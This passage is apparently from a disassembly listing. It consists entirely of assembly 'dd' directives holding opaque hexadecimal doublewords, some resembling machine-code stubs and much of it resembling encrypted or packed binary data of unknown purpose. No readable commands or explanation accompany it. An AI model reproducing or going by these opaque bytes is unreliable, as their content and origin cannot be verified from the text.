		dd 3FBD5079h, 4C3BF2h, 0D9000008h, 0A5604093h, 722D0D56h
		dd 4500E025h, 14CFAFF4h, 0F49F7FC2h, 0D5186A0Ch, 0A6EF3AF5h
		dd 74BB0BC6h, 468DD994h, 0E1FCE266h, 0E71F08E9h, 5D594D7Ah
		dd 2DE8C80Bh, 3D7C9AE1h, 8680ABF0h, 0E62D79B8h,	7D448BDBh
		dd 5D1C3863h, 1603CA11h, 0B2A383CAh, 2B6A885Eh,	336B96D9h
		dd 608D4F18h, 0C81857E7h, 0E31B62AEh, 0FCD7021Ch, 2879B8D6h
		dd 4180B8E3h, 37CEAEF5h, 0E71F0C83h, 0D9B997E0h, 0D322925Bh
		dd 0C0DEE47Bh, 96F11C51h, 0FC4E6C42h, 48A7B1ADh, 0FB2671FEh
		dd 667B65FAh, 7DD8FEE1h, 0E77253DCh, 0EE095B74h, 72E08DDCh
		dd 0E33E698Fh, 499BB98Fh, 0AD74B90Ah, 56676893h, 0D7499AEh
		dd 0A9FD20E7h, 0B69AB5D3h, 2D72AA5Ch, 5EAAE907h, 307C3717h
		dd 0DCE2E803h, 5B8172EDh, 8F075823h, 19D0AC7Dh,	71A2Ah
		dd 5AADF300h, 2770BF7Ah, 0FA3F8C47h, 0C90E5F1Ah, 99DC2EE9h
		dd 84360EB9h, 540FEF32h, 25E0C009h, 0F3AE8ED5h,	0FC8060A7h
		dd 9CFFB16h, 6F9CE71Fh,	2AD3277Bh, 0B3CD94D9h, 75425D7Bh
		dd 81E7608Dh, 0D36142Fh, 8FB5E71Fh, 25EC3584h, 0DF05E00Bh
		dd 0EA3382C1h, 0D1004F0Ah, 1F0D94B6h, 0F93157E7h, 0B2F94532h
		dd 8F5EC8E7h, 9B8A4139h, 6ABh, 0BEB3E84h, 0D8B80150h, 0AB8BD01Dh
		dd 7A5A9FF0h, 4A2A6DBFh, 0C315A19Fh, 9AE5A080h,	66B67151h
		dd 38843F1Fh, 0A78D11F1h, 1F09BE8Ch, 0C002DE7h,	0DFFDD327h
		dd 0D6014E8Dh, 23CC8FBBh, 0FE365CE1h, 8D85D2D3h, 756EE760h
		dd 0FF19E023h, 1E6AA9C7h, 4C67B9D7h, 0E71F0D7Eh, 0A29CC7EDh
		dd 6C8A68B1h, 9DADC81Ah, 0F4E71F0Dh, 0BC1C537Fh, 0A9CF9027h
		dd 2C417D7Eh, 0E40AE71Fh, 2C0B541Dh, 707EE71Fh,	69201152h
		dd 53603C65h, 2E000000h, 0E200DE27h, 23CC87C7h,	18635CE1h
		dd 0CB1B08CFh, 6BA3BD84h, 0DBA36C33h, 0CEE123CCh, 6BB157A6h
		dd 0B09634A8h, 0E96FF095h, 1742C0A6h, 1A6CDBF9h, 234FCBFFh
		dd 477298E1h, 290BF43Dh, 2F3F8E36h, 714CE28Dh, 7437DA8h
		dd 11000000h, 1E15Bh, 559A0300h, 0F412E83Ch, 5AEF44D9h
		dd 9EF91FE7h, 0D3787C6h, 7CC198C8h, 456098CDh, 0A9FE8F3Fh
		dd 191A458Ah, 96F945E7h, 0CE13609Fh, 0DEEC0707h, 8D48BE5Ah
		dd 0A9042F67h, 46617F55h, 4EC77931h, 9FF8A1AAh,	0A46BB001h
		dd 4B386F8Ah, 92B57CB4h, 2F4A683Eh, 48F4341Dh, 0D2E83A79h
		dd 40073F86h, 1720FB26h, 0B0E992Bh, 91AFE756h, 0DFBF0652h
		dd 0C691D824h, 96238EE5h, 50C8B76Eh, 29000005h,	0F5B090E3h
		dd 0C27D5DA6h, 95503075h, 641FFF44h, 44EFCF12h,	2568BA7Ch
		dd 0F63F8A45h, 0C40B5B16h, 96DD29E4h, 314C32B6h, 0E71F0B19h
		dd 5DA99DCAh, 303CA11h,	0F23C09B4h, 0FC27814Bh,	57A44DA1h
		dd 2656F712h, 0AE357E4Bh, 0FC3D5876h, 0EFE75A3Eh, 0E22EE9C9h
		dd 5EFDD09Bh, 0CF863984h, 4EEE0h, 2E81C700h, 0FB44934Eh
		dd 0CE13601Bh, 9DE233EEh, 6DB002BDh, 58E2E28Dh,	28E3C306h
		dd 0F9B494DDh, 0C78262A9h, 0D054347Bh, 0BFBCFEAh, 3B68E71Fh
		dd 0CA115D47h, 0A0CA1603h, 312AD131h, 0AE75AD93h, 9DF9170Dh
		dd 8A2A0A51h, 3628DCA7h, 4AD9h,	1E398B00h, 0E123902Ch
		dd 337AC6BFh, 27B4D0FBh, 0C4DFFDD3h, 0E75AE6B7h, 0A8EF3B34h
		dd 5DA4F4E1h, 0C447C96h, 0D6327C45h, 82CFE714h,	0A579763Dh
		dd 4BB95CEBh, 0F33A8A95h, 77958B2Ch, 8FADBBEEh,	5F99E34Eh
		dd 689D3Ch, 276B0000h, 8DDFFDD3h, 0F5BC014Eh, 3E83D0DBh
		dd 1A1F1213h, 0CBD4E75Bh, 0C9BB744Eh, 28223D49h, 0BBE71431h
		dd 7255D95h, 3FDFCAB8h,	7391ACF3h, 0CA022D6Ah, 0CFE93978h
		dd 3E053D82h, 85D4F924h, 0F8C55C3Ch, 19E714A1h,	1561A0CDh
		dd 6ED07CEh, 0E714A1C4h, 486381A7h, 0E714A102h,	0A383BBE1h
		dd 895099E8h, 3EE9Ah, 0D3274200h, 2BC4DFFDh, 0B0E75AECh
		dd 8AD6C38Ah, 0F2CE7C43h, 18EE42D4h, 0F346DFFAh, 0E70DE16Dh
		dd 0B9004C07h, 0A57BCFF2h, 0ABF63587h, 66819B62h, 8274AC8Bh
		dd 2E2F5A70h, 0E75A9F91h, 0C716345Ah, 0BF0C8105h, 7E99B37Ah
		dd 0BFDD0F01h, 1474A6A4h, 0F41F45E7h, 79975713h, 0AA8AD11Dh
		dd 718F65B9h, 98B2CD1Fh, 4BE71474h, 8CF9FA25h, 0B7E16D5Ch
		dd 91DDCA91h, 9EED2C4Ah, 8D492A55h, 0C91DAFCDh,	0CDBAD5F3h
		dd 0F6E75A4Bh, 0DA63B2D0h, 0DC8E9F6Ah, 86413B66h, 3F2CF33Ah
		dd 3D8CAAEDh, 0AF66F5B7h, 0CB0E60D0h, 9A876893h, 503D0449h
		dd 5F2B900h, 0F5D70B3h,	0C09C68F1h, 0B3FA46A2h,	0B88EE2D3h
		dd 0FFC67F9Ah, 0F130E16Dh, 5545FA4h, 0B0DBF5BCh, 0FBE8AFD5h
		dd 0B4A168AFh, 6B581F62h, 6210D720h, 5DF6886h, 41952745h
		dd 95324D6Bh, 1E75ADFh,	0DEB694AFh, 8FDBE714h, 0F4E67A78h
		dd 79C8C182h
		dd 174F6930h, 0BEB11ECh, 0F6BD0450h, 9676BD09h,	5D7B51A5h
		dd 6D6B2D42h, 82A0C6E1h, 5B351530h, 90B6E123h, 5D21BC75h
		dd 15407CECh, 4A236B34h, 8896E123h, 0F08296Ah, 47783629h
		dd 2A000000h, 428DBDD8h, 385EE123h, 0CE95DE2Dh,	276D89B4h
		dd 0C4DFFDD3h, 0E75AECDBh, 4A13DA00h, 0E714D37Ch, 0C9FE4D75h
		dd 0E269C239h, 0BFA1E3A2h, 262FB6A4h, 17DDED08h, 688EE714h
		dd 0C0011F3Dh, 3C606771h, 0EE0Fh, 115DDD00h, 135DACCAh
		dd 85C81A33h, 189A4BEh,	81D0DB17h, 2C577138h, 86FC4B4Bh
		dd 0F51273BEh, 489ABFEAh, 34C6041Fh, 0ACA5E123h, 0A7DF175Ah
		dd 8DA7F3E0h, 8DD6253Bh, 3C748E55h, 0E7367575h,	24E739Eh
		dd 0F144DBBBh, 0A0E12329h, 0A0EF0D54h, 444DEB54h, 0C775B523h
		dd 9C9A6C87h, 0B3FC4752h, 0ADA7D2ECh, 2251A0DFh, 2392C307h
		dd 427AA0E1h, 5FA6F217h, 4B217598h, 0A839122Dh,	84AAE75Ah
		dd 895FB3A4h, 0A95506Bh, 0B8DEE16Ah, 0C6095B9Ah, 96D92BE6h
		dd 0BD5AC2CBh, 0D5C47B3Fh, 1CBh, 2B0B5EA4h, 0F8D82170h
		dd 0CBABF03Dh, 9A7ABF10h, 6A4A8DDFh, 0E335C1BFh, 0BA05C0A0h
		dd 86D69171h, 58A45F3Fh, 0C7AD3111h, 1F069EACh,	2C204DE7h
		dd 0AAC80B5Dh, 82C91958h, 23CCAF9Bh, 0EB163CE1h, 0A3EA36F1h
		dd 93793685h, 2BCE4FA2h, 27540600h, 90DFFDD3h, 79EC8B17h
		dd 8CD12204h, 0D6F12954h, 0E75A53A9h, 1CE5ACD2h, 0E7146C52h
		dd 16DD226Fh, 94AFDE29h, 0E7146CB6h, 10D70F35h,	0DF688662h
		dd 3F809EACh, 3C602CF2h, 0A98Eh, 115D5C00h, 0C41603CAh
		dd 7BBABA81h, 0E7E3FE2Bh, 84E123CCh, 0FAFB265Eh, 0E123D127h
		dd 0AF7890DFh, 0A2024651h, 0BF065277h, 91D824DFh, 0AA53A7CAh
		dd 0BFDD1558h, 5A33A7A4h, 3E1E44E7h, 523F94Dh, 6A95F0EAh
		dd 916A73E1h, 0E22B7ABFh, 4AE6011Bh, 0C0DE1602h, 0CEC2F81h
		dd 0F1BCFF51h, 3FBD5EEAh, 0D8CDBC73h, 0B1000000h, 7D38186Bh
		dd 4A05E52Eh, 1DD8B8FDh, 0ECA787CCh, 0CC77579Ah, 0ADF042F4h
		dd 7EC712CDh, 4C93E39Eh, 1E65B16Ch, 0B9D4BA3Eh,	0E71F0791h
		dd 5D312552h, 1AE8C80Bh, 0CC9DADC8h, 284EE123h,	458CD8FDh
		dd 115DB365h, 0CA1603CAh, 5EB2A383h, 0EA4F6A88h, 79E7608Eh
		dd 539F8C53h, 5DAFEE0Ch, 1E39531Ah, 65C187C8h, 5A547FF2h
		dd 450C539Fh, 0E8BBC37Ch, 83A17DFEh, 0B494DB27h, 4693ADF9h
		dd 0E8203A01h, 97E22121h, 526D874Eh, 0A3BA4B41h, 0EF143F8Fh
		dd 0E93B599Eh, 0AF88FCCEh, 1E496FF0h, 0A3C1813Dh, 83C7E234h
		dd 60F0AF88h, 9EEA0F3Ah, 70BC7757h, 50A8EF46h, 4E869BAEh
		dd 5DA6F130h, 26717C96h, 0D1FC16DDh, 0D01F0h, 4AA90000h
		dd 0CCEDDDF8h, 587EE123h, 5DE1D32Dh, 10FDC417h,	0C9B67DC4h
		dd 7E6B3279h, 3623EA33h, 0EDDAA1E4h, 0A491589Bh, 5A470E53h
		dd 1401C80Dh, 0C3B57CC5h, 81E28952h, 4C2h, 4EA8300h, 5C241487h
		dd 68241489h, 30E8h, 68240489h,	11A5h, 55241C89h, 9A56FC68h
		dd 0ED815D06h, 2AB562FEh, 5065CD81h, 0EDC1414Dh, 6FC58103h
		dd 55EABF03h, 45685D58h, 89000062h, 4832424h, 835B0424h
		dd 48904ECh, 8438F24h, 5B2434FFh, 4C481h, 48B0000h, 0E0895024h
		dd 405h, 4C08300h, 5C240487h, 0FAB139E9h, 6A830AFFh, 0C366C00Ah
		dd 3CCCA9B8h, 0FFC50306h, 0BF4B5EE0h, 0A4F96A24h, 0C6F0C727h
		dd 0EE86Ah, 0E86F0000h,	3ADC5312h, 215D1D50h, 6503D21h
		dd 5BD18B66h, 81F6BF0Fh, 67C5C3h, 6800h, 59F90000h, 0FF89C480h
		dd 12E91934h, 0B6000000h, 2E1F48A7h, 0E941868Dh, 2512D2D3h
		dd 3A380BEAh, 0CE95F04h, 0DB000000h, 22E07A47h,	0D6C10AF5h
		dd 813D4F6Fh, 4E1C07C7h, 75BE6630h, 0C6F781F4h,	566F2928h
		dd 0EF815AFCh, 567B4883h, 0C38BF960h, 820F5761h, 3, 8FF18B66h
		dd 81660B04h, 0FD62BEEh, 1081h,	0BE900h, 6B0E0000h, 5A723CD1h
		dd 8B5758D9h, 4E98364h,	98E4F981h, 850FFFFFh, 0FFFFFF7Fh
		dd 0E6816653h, 8D5A43C3h, 3CCED88Dh, 0DD953106h, 89063721h
		dd 3718758Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0EA79C388h, 0DB82AD57h, 0E9607F40h
		dd 5, 0D763796Ah, 198589BAh, 61063705h,	119585C7h, 586C0637h
		dd 71B70000h, 22CB8166h, 8185C74Ch, 6370Fh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 4985C351h, 0B18D29F9h, 0F063706h,	285h, 0FFC18B00h
		dd 372ECDB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 2764797h,	65B58950h, 58063717h, 129195FFh
		dd 6A0637h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0E18A94C3h, 95FF006Ah, 6373219h, 78EBC08Bh
		dd 7905FFEBh, 0B3704494h, 613E31Fh, 0D87B5C9h, 0E831AD34h
		dd 2CDE40F4h, 9586993Bh, 60A06031h, 9D948039h, 6CFCF90Ah
		dd 0D49AE719h, 33B05346h, 0B02BB609h, 0F3AB695Bh, 6959DC1h
		dd 117E096Bh, 9857AF06h, 490F3CCh, 0ECC100D5h, 22D51E7Eh
		dd 0D05649D8h, 574E35A8h, 0B0C4B231h, 65C01F5Ah, 78A2CCB9h
		dd 0DEE71D22h, 0B1FE4B09h, 0B2CE69C4h, 22FA600Bh, 928C5A97h
		dd 0ABE9h, 2E8D5000h, 72B11C3Fh, 0ACABDA5Fh, 92B395A7h
		dd 95A1F445h, 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h
		dd 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h
		dd 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh
		dd 6B5C009Fh, 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h
		dd 0AFF144D6h, 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h
		dd 0BCF996BFh, 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh
		dd 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h
		dd 97B3EDh, 0E7A601E8h,	83323D94h, 818128Ah, 13A5E9h, 0D1F26800h
		dd 47E9063Ch, 68FFFAAEh, 63CD305h, 0FAAE3DE9h, 0D41368FFh
		dd 33E9063Ch, 68FFFAAEh, 63CD564h, 0FAAE29E9h, 0D60D68FFh
		dd 1FE9063Ch, 68FFFAAEh, 63CD6A3h, 0FAAE15E9h, 0D75668FFh
		dd 0BE9063Ch, 68FFFAAEh, 63CD85Dh, 0FAAE01E9h, 0D90468FFh
		dd 0F7E9063Ch, 68FFFAADh, 63CDA74h, 0FAADEDE9h,	0DB6B68FFh
		dd 0E3E9063Ch, 68FFFAADh, 63CDC89h, 0FAADD9E9h,	0DDA068FFh
		dd 0CFE9063Ch, 68FFFAADh, 63CDFB5h, 0FAADC5E9h,	0E0C268FFh
		dd 0BBE9063Ch, 0BDFFFAADh, 89442477h, 5611F13Ah, 29E4C409h
		dd 0F8B393D8h, 0D88363A6h, 0B9FC4EE8h, 8AD31ED9h, 589FEFAAh
		dd 2A71BD78h, 0C5E0C64Ah, 0E71F1C85h, 5D453966h, 1603CA11h
		dd 0B2A383CAh, 4F6A885Eh, 0E75AE55Eh, 0E42779B8h, 0FDD8031Dh
		dd 0F3E9A2F1h, 4D48F1E2h, 14376466h, 0A9E107E7h, 374D19E2h
		dd 3644E714h, 835AD718h, 5A263C60h, 0F4000000h,	0DFFDD327h
		dd 5AECDBC4h, 0BCDA00E7h, 21E82B7Dh, 4154B824h,	0EF273DCDh
		dd 255099E4h, 7C337B44h, 83CEE714h, 6476733Ah, 0EDE515CEh
		dd 4561ACB7h, 0CCE6ADF6h, 431FCD94h, 41699C25h,	0A46BB202h
		dd 23415F8Ah, 602C4FE2h, 0C6E1333Ch, 0E7146084h, 0DC164167h
		dd 0D3h, 0F7115DAAh, 809A61A6h,	42948148h, 0E93838FFh
		dd 91E17E28h, 4E69834Ah, 0D803AE2Fh, 592067B3h,	0B406206Ch
		dd 8B593971h, 0CE545D3Ch, 0DF0A1BD6h
		dd 231F99DEh, 5C2675E1h, 4B7F9A36h, 18E12359h, 36DED7F2h
		dd 8AD6FB26h, 0A0D82170h, 72B905C0h, 83C81554h,	547758h
		dd 0E4F10C2Ah, 4FE75A51h, 4584929h, 0DDF5102Eh,	8EE16AD0h
		dd 0A9F84A68h, 0B1AB0052h, 0C40D58B4h, 0EA3C618Ch, 0BA0CC7A7h
		dd 91D3AC77h, 0D58C3FBDh, 111EE6h, 0D2256B00h, 9FE837F2h
		dd 72B704BFh, 4186D792h, 1154A661h, 0FCBE8631h,	0CC8767AAh
		dd 9D583881h, 6B26064Dh, 74F8D81Fh, 1D57738Eh, 0E714E71Fh
		dd 0C80B5DF3h, 0ADC81AE8h, 0E123CC9Dh, 0CE1D284Eh, 0E9355A85h
		dd 4A10C2A2h, 0CCEDDDF8h, 587EE123h, 0A87ED22Dh, 0FFD3B8Ah
		dd 557A992Ch, 0AED7F22Ah, 0D5E75A44h, 0CF4291AFh, 2A8A4833h
		dd 7D462752h, 0E7141031h, 3B7C9AA8h, 3C6068F6h,	86713D8Ch
		dd 610A85A8h, 0CCFC36h,	5DCA0000h, 303CA11h, 0CCB496B1h
		dd 1137E123h, 596FC1E6h, 4C2DE0Ah, 53C1B93Bh, 23A541Bh
		dd 512D723Bh, 0B0FCE123h, 0BF0C4B69h, 77C6B37Ah, 154D672Eh
		dd 0E935F0EAh, 64B8DBA2h, 0CC1E708Eh, 3524447Dh, 3D24E3D8h
		dd 0E1232A0Dh, 37FE4394h, 0B365C1Dh, 5A01FD0Ah,	224066E7h
		dd 539AE6D3h, 2550658Ch, 2AE63A2Bh, 14133B0Fh, 4A82A8E7h
		dd 0A54E112Ch, 7FA5E16Ah, 8DD02261h, 5DA0F2ADh,	0BDF3FB92h
		dd 0DECD843Fh, 100Bh, 0DFBF1258h, 0AC8CD524h, 7F5FA4F1h
		dd 4E2E73C4h, 1EFE4193h, 97E98D73h, 6EB97454h, 3A8A4525h
		dd 0C5813F3h, 7B61E5C5h, 1F1F6A60h, 0D8CCF9E7h,	0E8C80B5Dh
		dd 0C9BFCB1Ah, 0C114E58Ah, 0DE257196h, 115D4CFEh, 0B40303CAh
		dd 0F82037FBh, 84A9D469h, 4311F138h, 4772B704h,	0C990D522h
		dd 486390DCh, 0E123A002h, 0A383BBE1h, 626883D5h, 0A7E123A0h
		dd 3582BD7Fh, 710D122h,	0E6300A49h, 0ABC6FE08h,	0D01E21EBh
		dd 9981ACFDh, 14EA3E53h, 0FF5ADBF6h, 511E75Ah, 14FEE0EAh
		dd 255D83E7h, 67B3F2CAh, 83C81520h, 7677A2BCh, 0DE9ACF29h
		dd 24863B5h, 0E1109ECFh, 0E13590BBh, 0C1D2ED0Bh, 4516E7D7h
		dd 4974B906h, 0DB2A486Eh, 44B89C41h, 9475A0CEh,	29471D71h
		dd 34698D7h, 29213C3Ch,	0BA16A9CDh, 30315C94h, 10D43F1Ch
		dd 0AA342B7Ah, 8D6D53C5h, 8ECAF572h, 83AEBCF2h,	256482A8h
		dd 0F7B292D9h, 0D89964ABh, 71CE03F7h, 0EFDCBBAh, 44A0000h
		dd 0C716D1B1h, 96E39E7Eh, 65B67151h, 33854020h,	9F6510F0h
		dd 664689DBh, 371760ABh, 5E52C7Ch, 0D7B7FE4Ah, 78526D53h
		dd 0EBE71F18h, 115DCABEh, 275FA8F7h, 40E93D60h,	5472AAEFh
		dd 5ADAE039h, 1667A6E7h, 0B298B3D1h, 31E714C1h,	0DF05E00Bh
		dd 0A0F231FFh, 7B96965Dh, 0E714C14Fh, 93BEF61Ch, 0F00EE438h
		dd 521962B1h, 96CE1565h, 0FF18336Bh, 4E16DE2h, 4E17DEh
		dd 0A1E123E3h, 56430A51h, 3FF9C005h, 0D3EE5D7Bh, 0E123E3F7h
		dd 0E3164E74h, 0BB76B7D5h, 0C53628BBh, 3Eh, 0BB0B4A93h
		dd 9AEE4974h, 988BA6C4h, 53E75B1Ah, 7EBD0F2Dh, 0A24EB32h
		dd 406ABADFh, 4BEE0635h, 1A234479h, 5C808018h, 750CEC24h
		dd 0E7148F2Bh, 53337AC6h, 3A014898h, 0E224Bh, 0D327F300h
		dd 0F3C4DFFDh, 0E8E7609Ch, 1965A4C2h, 0D224F2D2h, 1F0393B7h
		dd 0FF2A50E7h, 24748EDAh, 0DEDEA5DDh, 0E93A529Fh, 8BC3DDA4h
		dd 24EB2E80h, 3084DF0Ah, 0FF213C5Ah, 0F4E15C53h, 2571B0CEh
		dd 0F743FEDEh, 72C6E9B0h, 6B3279C9h, 0E0FB1951h, 0E75AE41Bh
		dd 29213C48h, 0BAE714DBh, 652C6FC1h, 0DAF5134Bh, 0E714DBF0h
		dd 4A154D73h, 3984969Fh, 0ACB2A158h, 0F900000Dh, 0C58060B3h
		dd 924D2D76h, 65200045h, 34EFCF14h, 14BF9FE2h, 0F5388A2Ch
		dd 0C60F5A15h, 94DB2BE6h, 66ADF9B4h, 11C0286h, 0E71F19C9h
		dd 81796D9Ah, 0E123CC35h, 56744A9Eh, 0BA81C617h, 0EB3D75A0h
		dd 4E155CACh, 1C080934h, 47E7609Ch, 0B4D9014Eh,	25A5ADEDh
		dd 1E38FF37h, 3D89C8E6h, 1BAED623h, 0CEF45Ah, 758F568Eh
		dd 508F5D3Dh, 688DB801h, 0EB0ED51Ch, 5BA2EE97h,	51799494h
		dd 12E71F0Fh, 5E7CB4ECh, 647CCD0Ch, 0D39AD217h,	4C8D8EB9h
		dd 42E16619h, 0A86FB803h, 6288638Eh, 0B84FC697h, 0E9D88F3Fh
		dd 0D03h, 0D7B70A50h, 0A484CD1Ch, 77579CE9h, 46266BBCh
		dd 16F6398Bh, 8FE1956Bh, 66B16C4Ch, 32823D1Dh, 4500BEBh
		dd 7359DDBDh, 1F1A7258h, 0D0C4F1E7h, 3CA115Dh, 6583CA16h
		dd 0CC93DA26h, 0F7A687B2h, 5190FF1Dh, 8F5BCFFh,	93AD74BDh
		dd 0B26305Bh, 75362889h, 6ADh, 0FDD32743h, 9C6DC4DFh, 727EE760h
		dd 1F037357h, 92CAF0E7h, 0A2E93574h, 74BB07C2h,	39AE4ADh
		dd 0AD01E71Fh, 2A7AB9D7h, 6580B8E3h, 0E1661594h, 4FE6B1D7h
		dd 0C83FB843h, 0C6D2211h, 74BA0000h, 37864121h,	6530EEEh
		dd 0D526E1C1h, 0A3F5B090h, 0EFD58060h, 0D6B6F94Bh, 0A787D01Bh
		dd 75559CECh, 47276EBAh, 88C2DDC3h, 5BE71F1Ah, 115D3A2Eh
		dd 0CA1603CAh, 190DBC83h, 8CA0B3CAh, 75A028CCh,	39F83957h
		dd 47362962h, 621h, 0CC358115h,	4A9EE123h, 0A43B5674h
		dd 0EAE7609Ch, 34D7D98h, 0F81EE71Fh, 0AECCF2CDh, 0FCDC236Fh
		dd 6233DF2Eh, 2E77B226h, 7892DE03h, 8CD8E326h, 46460D45h
		dd 0FA96A5F4h, 0E5787F67h, 1FD7CCFEh, 4E799FE7h, 10E69FF3h
		dd 63A8F936h, 73C7AB48h, 39021D3Bh, 2AE16627h, 71103904h
		dd 22D93FB8h, 0BBA33h, 6EC10700h, 3B84D38Eh, 0E53A05Bh
		dd 0DD22732Eh, 0ADF042FDh, 982222CDh, 68230346h, 39F4D41Dh
		dd 7C2A2E9h, 109474BBh,	1B3B0F2Ah, 7BA8E71Fh, 0BC0B4A87h
		dd 0D7234873h, 72735BAAh, 88C9D4E6h, 23B0A9A1h,	0DC143AE1h
		dd 95DC2815h, 4E95E1CEh, 4499A87h, 88A69C3Dh, 0FF3E32FFh
		dd 86A067B0h, 0DE1F3D5Bh, 36290453h, 5502Dh, 4EA0DF00h
		dd 0F8D2ED0Bh, 6BE12348h, 4AFE1A45h, 4C77C00Bh,	0A9C79DF1h
		dd 609CFC8Eh, 45392E7h,	8FB590BBh, 0B2CD1F71h, 0E71F0398h
		dd 26243F4Bh, 0C5E71F03h, 0A5C679Fh, 0BBE600C7h, 0DF304A96h
		dd 81B9D39Ah, 14FC1463h, 74BE98DDh, 0BD0F3B56h,	0B6DCE71Fh
		dd 74C3918Bh, 66660DB5h, 93DC275Ah, 0BAFF505Bh,	89AED9F3h
		dd 8FD8233Dh, 0FFC79057h, 0E4E71F41h, 4A9CBA90h, 41EDDDF8h
		dd 621E71Fh, 0E71F41C4h, 9AC081A7h, 57AD6E6Fh, 98BEE166h
		dd 0B8017ACDh, 5D4C033Fh, 0AB3h, 8767BA00h, 54347DCCh
		dd 27074C99h, 0F6D61B6Ch, 0C6A6E93Bh, 3F91251Bh, 16611CFCh
		dd 0E232EDCDh, 0B400BB9Bh, 23098D6Dh, 1F14C208h, 8074A1E7h
		dd 3CA115Dh, 0BC83CA16h, 0D415330Dh, 3628885Dh,	47023h
		dd 4881F100h, 9BE123CCh, 38537147h, 0E7609C8Fh,	0A3EC3B34h
		dd 6C8AC2DCh, 0CE95DE2Dh, 125189B4h, 0E49F7FC6h, 8A8A5198h
		dd 32D1D38h, 2874E71Fh,	3F001AE1h, 7CC10E19h, 15709BB5h
		dd 8ECDEBC1h, 1630F73Eh, 9798B3EBh, 4CE1662Bh, 4EDE0653h
		dd 4278BF58h, 59245C94h, 3FB804DCh, 0CCFBE75h, 5900000Ah
		dd 25E0C013h, 0F2AD8DD6h, 0C58060A5h, 944F2F74h, 741FFF42h
		dd 5598EA8Ch, 266FBA75h, 0F43B8B46h, 0C60D5914h, 617C62E6h
		dd 0E71F1569h, 4AD9CDFAh, 0AD74BB0Bh, 0F7436893h, 0B0FCE9B0h
		dd 29FA5086h, 92CA711Eh, 4A93DECBh, 1449683h, 0A0BE7E3Ah
		dd 77AFF244h, 48A4C2B8h, 35D5B5FCh, 362960FCh, 16F84h
		dd 115D5200h, 0CA1603CAh, 5EB2A383h, 0D9186A88h, 545608Dh
		dd 0E6E123CCh, 0D4C188C0h, 5F794089h, 0EAFBFC27h, 81E75AE5h
		dd 83CB945Bh
		dd 0F6E714D5h, 0A889CAE8h, 0D83C5FA1h, 3Eh, 0B4FB4B8Ah
		dd 0D3276D89h, 728DDFFDh, 0E123CC58h, 82BAE50Bh, 87C3DE30h
		dd 64E123CCh, 6512133Eh, 8EE75AECh, 62A1A168h, 0A3A4CF16h
		dd 0E714D3DBh, 61A2C0CEh, 3C5FABD0h, 0DCB0h, 115D7E00h
		dd 0C41603CAh, 6BBABA81h, 5EA7B2D2h, 2F7B8673h,	0DC0721E8h
		dd 6246BB7h, 0BCB199B4h, 0C32E123h, 0C10000E1h,	0DE032E75h
		dd 0D46B4B92h, 0E12387F3h, 0AB8BD21Eh, 8FAA66BAh, 0E12397BBh
		dd 979AB0CBh, 2349E123h, 0E6043C62h, 0D5F04294h, 0E12397F5h
		dd 61695076h, 2E12397h,	97EFDBF6h, 567CE123h, 2DF2F31Eh
		dd 46E75D20h, 71C30220h, 0E4D5654Bh, 6F895099h,	833D8654h
		dd 7FB7EF38h, 7C92E49Fh, 0E6B1E930h, 398A3467h,	9C4A39F0h
		dd 0E9000008h, 0B57050A3h, 823D1D66h, 5510F035h, 24DFBF04h
		dd 4AF8FD2h, 0E5287A3Ch, 0B6FF4A05h, 84CB1BD6h,	569DE9A4h
		dd 0F10CF276h, 0E71F16D9h, 5D695D8Ah, 67E3E50Bh, 0FB412F9Ah
		dd 0DC28E3C3h, 95E7B595h, 23CE507Ah, 0C2ED13E1h, 0F7115DA6h
		dd 809A61A6h, 48948148h, 0CCCA001Bh, 7399E123h,	3A9E5B3Bh
		dd 46000002h, 7D98FB4Ah, 0E73CEE91h, 0AD909AE9h, 26518997h
		dd 83A177CBh, 5AAF5768h, 1FE60CE7h, 14B70856h, 557381E7h
		dd 60081D14h, 0F813653Ch, 0E7144BD2h, 6406B91h,	1DEh, 0CC4A81D4h
		dd 7DBCE123h, 51FE62Dh,	552B7FDAh, 62A7F837h, 4A809B9Bh
		dd 19E123CCh, 829DBBF3h, 0E123CC48h, 92CAF51Bh,	609CF077h
		dd 2F4D73E7h, 3D8AA4F0h, 3D3F712h, 6A90E71Fh, 5F1AFA32h
		dd 0E205CC13h, 7F9AB88Eh, 0E1662B6Eh, 0F14DF05h, 0E83FB856h
		dd 7A54231h, 0ACF20000h, 6FBE7959h, 3E8B4626h, 0D5E19F9h
		dd 0DB2DE8C8h, 370DB898h, 0EEE3183h, 0DFBF0853h, 0AD8DD424h
		dd 7F5FA6F2h, 0D0FA15FBh, 93E71F17h, 0F84A7266h, 23CCEDDDh
		dd 3A587EE1h, 23CC2B1Fh, 6792B8E1h, 0E8AFF642h,	0E69499E8h
		dd 0EAA4368Dh, 74E9ABFh, 0C0075340h, 78C10CF9h,	506EBCB1h
		dd 0F41208C7h, 25054C98h, 28B3AC85h, 114D436h, 47860000h
		dd 97B3CEFBh, 54E123FFh, 152FF62Eh, 115DCEEAh, 206DACCAh
		dd 0E2CFB0DBh, 7E6F4F96h, 1B36542Ah, 0E75AE50Ah, 2BF4BBE1h
		dd 0E714D563h, 0A2EF2E56h, 0F614325Dh, 5FA17CB5h, 2A043Ch
		dd 27D20000h, 0C4DFFDD3h, 0E75AECDBh, 4A13DA00h, 0E714D37Ch
		dd 0BE0E4D75h, 76C3B077h, 0B0CEF931h, 0ABE05192h, 83A03C5Fh
		dd 6E000000h, 3CA115Dh,	3178C403h, 25506Ah, 0B7A46BAEh
		dd 705D246Bh, 66FDDD24h, 0E1241E71h, 2D0D54A0h,	0F412E83Ch
		dd 0D11663A2h, 2950A5A6h, 658BE75Dh, 73B60847h,	4386D893h
